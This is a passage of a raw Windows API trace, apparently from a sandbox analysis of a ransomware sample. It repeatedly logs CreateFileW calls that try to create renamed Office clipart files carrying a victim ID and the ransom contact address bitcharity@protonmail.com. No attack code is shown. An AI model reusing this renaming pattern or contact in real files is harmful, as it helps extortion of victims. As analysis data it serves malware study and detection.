[0258.060] CloseHandle (hObject=0x127c) returned 1 [0258.062] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.062] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01213K.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01213k.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.062] CloseHandle (hObject=0x127c) returned 1 [0258.064] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.064] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01221K.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01221k.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.064] CloseHandle (hObject=0x127c) returned 1 [0258.065] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.066] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01235U.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01235u.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.066] CloseHandle (hObject=0x127c) returned 1 [0258.067] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.067] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01236U.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01236u.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.067] CloseHandle (hObject=0x127c) returned 1 [0258.444] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.444] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01239K.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01239k.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.445] CloseHandle (hObject=0x1284) returned 1 [0259.133] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.133] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01332U.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01332u.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.140] CloseHandle (hObject=0x1280) returned 1 [0261.182] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.183] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RE00006_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\re00006_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.229] CloseHandle (hObject=0x1158) returned 1 [0262.096] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.096] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00486_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00486_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.097] CloseHandle (hObject=0x118c) returned 1 [0262.098] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.098] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02022_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02022_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.099] CloseHandle (hObject=0x118c) returned 1 [0262.100] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.100] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02024_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02024_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.101] CloseHandle (hObject=0x118c) returned 1 [0262.102] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.103] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02025_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02025_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.103] CloseHandle (hObject=0x118c) returned 1 [0262.106] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.106] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02028_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02028_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.107] CloseHandle (hObject=0x118c) returned 1 [0262.108] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.108] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02045_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02045_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.108] CloseHandle (hObject=0x118c) returned 1 [0262.110] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.110] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02048_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02048_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.111] CloseHandle (hObject=0x118c) returned 1 [0262.112] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.112] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02051_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02051_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.112] CloseHandle (hObject=0x118c) returned 1 [0262.114] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.114] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02054_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02054_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.114] CloseHandle (hObject=0x118c) returned 1 [0262.116] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.116] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02055_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02055_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.117] CloseHandle (hObject=0x118c) returned 1 [0262.118] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.118] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02067_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02067_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.119] CloseHandle (hObject=0x118c) returned 1 [0262.120] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.120] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02094_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02094_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.121] CloseHandle (hObject=0x118c) returned 1 [0262.123] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.123] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02227_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02227_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.123] CloseHandle (hObject=0x118c) returned 1 [0262.125] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.125] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02228_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02228_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.126] CloseHandle (hObject=0x118c) returned 1 [0262.136] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.136] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02233_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02233_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.137] CloseHandle (hObject=0x118c) returned 1 [0262.143] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.143] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02252_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02252_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.143] CloseHandle (hObject=0x118c) returned 1 [0262.145] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.146] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02253_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02253_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.146] CloseHandle (hObject=0x118c) returned 1 [0262.529] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.529] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02261_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02261_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.529] CloseHandle (hObject=0x1194) returned 1 [0262.531] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.531] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY01563_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy01563_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.532] CloseHandle (hObject=0x1194) returned 1 [0262.533] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.533] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY01572_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy01572_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.534] CloseHandle (hObject=0x1194) returned 1 [0262.535] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.535] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY01590_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy01590_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.535] CloseHandle (hObject=0x1194) returned 1 [0262.538] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.538] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TAIL.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tail.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.539] CloseHandle (hObject=0x1194) returned 1 [0262.540] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.540] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00011_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00011_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.540] CloseHandle (hObject=0x1194) returned 1 [0262.541] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.541] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00014_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00014_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.542] CloseHandle (hObject=0x1194) returned 1 [0262.543] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.544] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00018_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00018_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.544] CloseHandle (hObject=0x1194) returned 1 [0262.545] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.545] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, 